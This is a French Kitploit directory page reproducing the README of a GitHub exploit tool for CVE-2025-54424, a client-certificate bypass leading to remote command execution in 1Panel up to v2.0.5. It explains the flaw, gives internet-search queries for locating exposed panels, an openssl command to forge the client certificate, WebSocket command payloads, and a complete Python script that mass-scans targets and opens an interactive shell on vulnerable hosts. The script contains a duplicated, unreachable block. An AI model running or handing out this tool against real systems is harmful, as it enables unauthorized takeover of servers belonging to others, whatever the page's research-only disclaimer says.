Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-54424 — CVE-2025-54424 : outil intégré de contournement de certificat client et RCE 1Panel (scan + exploitation) | Kitploit
Outils/GitHubGitHub/mr-xn/cve-2025-54424
Scanners de VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleOutil d'Accès à DistanceArchived
GitHubmr-xn/cve-2025-54424

CVE-2025-54424

CVE-2025-54424 : outil intégré de contournement de certificat client et RCE 1Panel (scan + exploitation)

Voir le dépôt
59111il y a 1 anPas encore vérifié
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-54424

CVE-2025-54424 : Outil intégré pour la vulnérabilité RCE par contournement du certificat client 1Panel (scan+exploitation)

Présentation de la vulnérabilité

1Panel est un panneau de gestion d'exploitation Linux open source et moderne, offrant une interface graphique pour déployer des sites Web, gérer des serveurs et exécuter des services.

Dans la version affectée, la politique d'authentification TLS du côté Agent est tls.RequireAnyClientCert, qui exige seulement la fourniture d'un certificat mais n'en vérifie pas la fiabilité. Un attaquant peut contourner la validation TLS avec un certificat auto-signé et falsifier le champ CN en panel_client, contournant ainsi la validation au niveau de l'application. Finalement, l'attaquant peut falsifier un certificat pour appeler des interfaces d'exécution de commandes non autorisées, entraînant une vulnérabilité d'exécution de commandes à distance.

Versions affectées

<= v2.0.5

Syntaxe de cartographie

Les instructions de cartographie pour hunter et fofa sont les suivantes :

cert.subject_org=="FIT2CLOUD"&&ip.port="9999" || cert.subject.suffix=="panel_server"

cert.subject.org="FIT2CLOUD" && port="9999" && protocol="tls" || cert.subject.cn="panel_server"

Analyse de la vulnérabilité

Copie de l'avis GitHub sur la vulnérabilité

  • Tout d'abord, introduisez les concepts du Core et de l'Agent de 1panel v2. Après la sortie de la nouvelle version, 1panel a ajouté la fonction de gestion des nœuds, permettant de contrôler d'autres hôtes en ajoutant des nœuds.
  • Le protocole https utilisé pour la communication entre le Core et l'Agent ne vérifie pas complètement l'authenticité du certificat lors de la validation, ce qui entraîne une non-autorisation de l'interface. Dans 1panel, en raison de l'existence de nombreuses interfaces d'exécution de commandes ou de hautes permissions, cela conduit à une RCE.

Processus d'audit du code

  1. D'abord, nous entrons dans le fichier de route HTTP de l'Agent agent/init/router/router.go

  1. On découvre que la fonction Routers fait référence à la fonction Certificate pour une validation globale agent/middleware/certificate.go

  2. On constate que la fonction Certificate vérifie si c.Request.TLS.HandshakeComplete a effectué une communication par certificat

  3. La vérité/fausseté de c.Request.TLS.HandshakeComplete est déterminée par tls.RequireAnyClientCert dans la fonction Start du code agent/server/server.go Note : Ici, l'utilisation de tls.RequireAnyClientCert au lieu de tls.RequireAndVerifyClientCert : RequireAnyClientCert exige seulement que le client fournisse un certificat, sans vérifier l'AC de signature, donc tout certificat auto-signé peut réussir la poignée de main TLS.

  4. Ensuite, dans les autres vérifications de la fonction Certificate, on vérifie seulement que le champ CN du certificat est panel_client, sans vérifier l'émetteur du certificat. Enfin, on découvre que la connexion WebSocket peut contourner la vérification Proxy-ID.

  5. Le projet contient un grand nombre d'interfaces WebSocket.

  • Interface WebSocket Process (permet d'obtenir tous les processus et autres informations sensibles selon le problème ci-dessus) Adresse de la route : /process/ws Format de la requête comme suit :
root@kitploit:~
{
  "type": "ps",           // Type de données : ps (processus), ssh (session SSH), net (connexion réseau), wget (progression du téléchargement)
  "pid": 123,             // Optionnel, spécifier un ID de processus pour filtrer
  "name": "process_name", // Optionnel, filtrer par nom de processus
  "username": "user"      // Optionnel, filtrer par nom d'utilisateur
}

  • Interface WebSocket Terminal SSH (permet d'exécuter des commandes arbitraires selon le problème ci-dessus) Adresse de la route : /hosts/terminal Format de la requête comme suit :
root@kitploit:~
{
  "type": "cmd",
  "data": "d2hvYW1pCg=="  // Encodage base64 de "whoami", n'oubliez pas le retour à la ligne.
}

  • Interface WebSocket Terminal du conteneur (interface d'exécution de commandes dans le conteneur) Adresse de la route : /containers/terminal
  • Interface WebSocket de progression du téléchargement de fichiers (pousse automatiquement les informations de progression) Adresse de la route : /files/wget/process

Reproduction de la vulnérabilité

Reproduction manuelle

  1. Génération du certificat

openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"

  1. Chargez le fichier panel_client.crt et panel_client.key générés dans burp, puis ouvrez une requête ws et définissez la cible pour commencer la requête.

Détection en masse

Utilisez mon outil développé, le script CVE-2025-54424.py, pour la détection et l'exploitation en masse. Instructions d'utilisation ci-dessous.

Installer les dépendances nécessaires : pip install websocket-client cryptography PySocks requests

root@kitploit:~
usage: CVE-2025-54424.py [-h] (-u URL | -f FILE) [-o OUTPUT] [-t THREADS]
                         [--proxy PROXY]

1Panel - Outil intégré pour la vulnérabilité RCE par contournement du certificat client (scan+exploitation)
Auteur : Mrxn https://github.com/Mr-xn

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Cible unique, entre en mode exploitation. Ex.: 192.168.1.100:8080
  -f FILE, --file FILE  Fichier cible, entre en mode scan en masse.
  -o OUTPUT, --output OUTPUT
                        [Mode scan] Nom du fichier pour enregistrer les résultats des vulnérabilités.
  -t THREADS, --threads THREADS
                        [Mode scan] Nombre de threads concurrents.
  --proxy PROXY         Définir un proxy pour toutes les requêtes. Ex.: http://127.0.0.1:8080

Par exemple, détection unique + exécution de commandes (exécution interactive de commandes SSH) comme illustré ci-dessous

root@kitploit:~
import base64
import ssl
import sys
import json
import os
import tempfile
import argparse
import requests
import websocket
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime

# Désactiver les avertissements de la bibliothèque requests lorsque la vérification SSL est désactivée
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# --- Variables globales et verrou de thread ---
print_lock = threading.Lock()
exploit_running = True
vulnerable_hosts = []

# --- Fonctions principales ---

def generate_self_signed_cert():
    """Génère dynamiquement un certificat et une clé privée avec CN='panel_client', et retourne les chemins de fichiers temporaires."""
    with print_lock:
        print("[*] Génération dynamique du certificat client falsifié...")
    try:
        private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
        subject = issuer = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, u"panel_client")])
        cert_builder = x509.CertificateBuilder().subject_name(subject).issuer_name(issuer).public_key(
            private_key.public_key()
        ).serial_number(x509.random_serial_number()).not_valid_before(
            datetime.datetime.utcnow()
        ).not_valid_after(
            datetime.datetime.utcnow() + datetime.timedelta(days=365)
        )
        cert = cert_builder.sign(private_key, hashes.SHA256())
        
        key_file = tempfile.NamedTemporaryFile(delete=False, mode='wb', suffix=".key")
        key_file.write(private_key.private_bytes(
            encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.PKCS8,
            encryption_algorithm=serialization.NoEncryption(),
        ))
        key_file.close()
        
        cert_file = tempfile.NamedTemporaryFile(delete=False, mode='wb', suffix=".crt")
        cert_file.write(cert.public_bytes(serialization.Encoding.PEM))
        cert_file.close()
        
        with print_lock:
            print(f"[+] Certificat généré : {cert_file.name}, {key_file.name}")
        return cert_file.name, key_file.name
    except Exception as e:
        with print_lock:
            print(f"[ERREUR] Erreur lors de la génération du certificat : {e}")
        return None, None

def check_target(target_host, cert_path, key_path, proxy_dict, proxy_opts):
    """Effectue la vérification complète en deux étapes sur une seule cible. Retourne (target_host, bool, str)"""
    # Étape 1 : Pré-vérification HTTP
    check_url = f"https://{target_host}/api/v2/dashboard/base/os"
    headers = {
        'User-Agent': '1panel_client',
        'Origin':f"https://{target_host}/",
        'Content-Type': 'application/json'
    }
    try:
        response = requests.get(
            check_url, cert=(cert_path, key_path), proxies=proxy_dict, verify=False, timeout=10, headers=headers
        )
        if response.status_code != 200:
            return target_host, False, f"Échec de la pré-vérification (HTTP {response.status_code})"
        with print_lock:
            print(f"[*] {target_host:<21} - Pré-vérification HTTP réussie (200 OK)")
    except requests.exceptions.RequestException as e:
        return target_host, False, f"Échec de la requête de pré-vérification ({type(e).__name__})"

    # Étape 2 : Tentative de connexion WebSocket
    ws_url = f"wss://{target_host}/api/v2/hosts/terminal"
    try:
        ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
        ssl_context.load_cert_chain(cert_path, key_path)
        ssl_context.check_hostname = False
        ssl_context.verify_mode = ssl.CERT_NONE
        ws = websocket.create_connection(ws_url, sslopt={"context": ssl_context}, timeout=10, **proxy_opts)
        ws.close()
        return target_host, True, "Vulnérabilité présente (pré-vérification HTTP et connexion WSS réussies)"
    except Exception as e:
        return target_host, False, f"Échec de la connexion WSS ({type(e).__name__})"

    # Étape 2 : Tentative de connexion WebSocket
    ws_url = f"wss://{target_host}/api/v2/hosts/terminal"
    try:
        ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
        ssl_context.load_cert_chain(cert_path, key_path)
        ssl_context.check_hostname = False
        ssl_context.verify_mode = ssl.CERT_NONE
        ws = websocket.create_connection(ws_url, sslopt={"context": ssl_context}, timeout=10, **proxy_opts)
        ws.close()
        return True, "Vulnérabilité présente (pré-vérification HTTP et connexion WSS réussies)"
    except Exception as e:
        return False, f"Échec de la connexion WSS ({type(e).__name__})"

def receive_thread(ws):
    """Thread de réception pour le shell interactif."""
    global exploit_running
    while exploit_running:
        try:
            raw_message = ws.recv()
            if not raw_message: continue
            response_json = json.loads(raw_message)
            if isinstance(response_json, dict) and "data" in response_json and response_json["data"]:
                decoded_bytes = base64.b64decode(response_json["data"])
                output_str = decoded_bytes.decode('utf-8', errors='ignore')
                sys.stdout.write(output_str)
                sys.stdout.flush()
        except (websocket.WebSocketConnectionClosedException, ConnectionResetError):
            if exploit_running: print("\n[*] Connexion fermée inopinément."); exploit_running = False
            break
        except Exception: pass

def run_exploit_mode(target, cert_path, key_path, proxy_opts):
    """Exécute l'exploitation sur une cible unique."""
    global exploit_running
    print("[*] Tentative d'obtention d'un shell interactif...")
    ws_url = f"wss://{target}/api/v2/hosts/terminal"
    try:
        ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
        ssl_context.load_cert_chain(cert_path, key_path)
        ssl_context.check_hostname = False
        ssl_context.verify_mode = ssl.CERT_NONE
        ws = websocket.create_connection(ws_url, sslopt={"context": ssl_context}, **proxy_opts)
        print("[+] Shell obtenu avec succès !")
        print("[*] Tapez 'exit' ou appuyez sur Ctrl+C pour quitter.")
        print("---")

        recv_th = threading.Thread(target=receive_thread, args=(ws,))
        recv_th.daemon = True
        recv_th.start()
        
        while exploit_running:
            try:
                cmd = input()
                if cmd.strip().lower() == 'exit': break
                b64_cmd = base64.b64encode((cmd + '\n').encode('utf-8')).decode('utf-8')
                ws.send(json.dumps({"type": "cmd", "data": b64_cmd}))
            except EOFError: break
        
        exploit_running = False
        ws.close()
    except KeyboardInterrupt:
        print("\n[*] Interruption utilisateur, fermeture du shell...")
    except Exception as e:
        print(f"\n[-] Erreur lors de l'obtention du shell : {e}")
    finally:
        exploit_running = False

def run_scan_mode(targets, cert_path, key_path, proxy_dict, proxy_opts, threads, output_file):
    """Effectue un scan en masse."""
    print(f"[*] Début de la vérification de {len(targets)} cibles avec {threads} threads...")
    with ThreadPoolExecutor(max_workers=threads) as executor:
        future_to_target = {executor.submit(check_target, t, cert_path, key_path, proxy_dict, proxy_opts): t for t in targets}
        for future in as_completed(future_to_target):
            target, is_vulnerable, message = future.result()
            with print_lock:
                if is_vulnerable:
                    print(f"[+] {target:<21} - {message}")
                    vulnerable_hosts.append(target)
                else:
                    print(f"[-] {target:<21} - {message}")
    
    if vulnerable_hosts:
        print(f"\n[*] Vérification terminée ! {len(vulnerable_hosts)} cibles vulnérables trouvées.")
        with open(output_file, 'w') as f:
            for host in vulnerable_hosts:
                f.write(host + '\n')
        print(f"[+] Résultats enregistrés dans le fichier : {output_file}")
    else:
        print("\n[*] Vérification terminée, aucune cible vulnérable trouvée.")

def main():
    parser = argparse.ArgumentParser(description="1Panel - Outil intégré pour la vulnérabilité RCE par contournement du certificat client (scan+exploitation)\nAuteur : Mrxn https://github.com/Mr-xn", formatter_class=argparse.RawTextHelpFormatter)
    mode = parser.add_mutually_exclusive_group(required=True)
    mode.add_argument("-u", "--url", help="Cible unique, entre en mode exploitation. Ex.: 192.168.1.100:8080")
    mode.add_argument("-f", "--file", help="Fichier cible, entre en mode scan en masse.")
    
    parser.add_argument("-o", "--output", default="vulnerable_targets.txt", help="[Mode scan] Nom du fichier pour enregistrer les résultats des vulnérabilités.")
    parser.add_argument("-t", "--threads", type=int, default=20, help="[Mode scan] Nombre de threads concurrents.")
    parser.add_argument("--proxy", help="Définir un proxy pour toutes les requêtes. Ex.: http://127.0.0.1:8080")
    args = parser.parse_args()

    cert_path, key_path = generate_self_signed_cert()
    if not cert_path: sys.exit(1)

    proxy_dict = {"http": args.proxy, "https": args.proxy} if args.proxy else {}
    proxy_opts = {}
    if args.proxy:
        print(f"[*] Toutes les requêtes passeront par le proxy : {args.proxy}")
        p = urlparse(args.proxy)
        proxy_opts = {"proxy_type": p.scheme, "http_proxy_host": p.hostname, "http_proxy_port": p.port, "http_proxy_auth": (p.username, p.password) if p.username else None}

    try:
        if args.url:
            # --- Mode exploitation ---
            print(f"---[ Mode exploitation sur une cible unique : {args.url} ]---")
            target, is_vulnerable, message = check_target(args.url, cert_path, key_path, proxy_dict, proxy_opts)
            if is_vulnerable:
                print(f"[+] La cible {args.url} est confirmée vulnérable !")
                run_exploit_mode(args.url, cert_path, key_path, proxy_opts)
            else:
                print(f"[-] La cible {args.url} n'est pas vulnérable ou inaccessible : {message}")
        
        elif args.file:
            # --- Mode scan ---
            print(f"---[ Mode scan en masse : {args.file} ]---")
            if not os.path.exists(args.file):
                print(f"[ERREUR] Le fichier cible n'existe pas : {args.file}"); return
            with open(args.file, 'r') as f:
                targets = [line.strip() for line in f if line.strip()]
            if not targets:
                print("[ERREUR] Le fichier cible est vide."); return
            run_scan_mode(targets, cert_path, key_path, proxy_dict, proxy_opts, args.threads, args.output)

    except KeyboardInterrupt:
        print("\n[*] Interruption utilisateur, sortie...")
    finally:
        if cert_path and os.path.exists(cert_path): os.remove(cert_path)
        if key_path and os.path.exists(key_path): os.remove(key_path)
        print("[*] Certificats temporaires nettoyés, programme terminé.")

if __name__ == "__main__":
    main()

Déclaration

Cet outil est destiné uniquement à la recherche et à l'apprentissage en matière de sécurité. En cas de conséquences ou de dommages directs ou indirects résultant de la diffusion ou de l'utilisation des informations contenues dans ce document, ils sont de la seule responsabilité de l'utilisateur ; l'auteur n'en assume aucune responsabilité.

Références

  • https://github.com/1Panel-dev/1Panel/security/advisories/GHSA-8j63-96wh-wh3j
Télécharger l’outil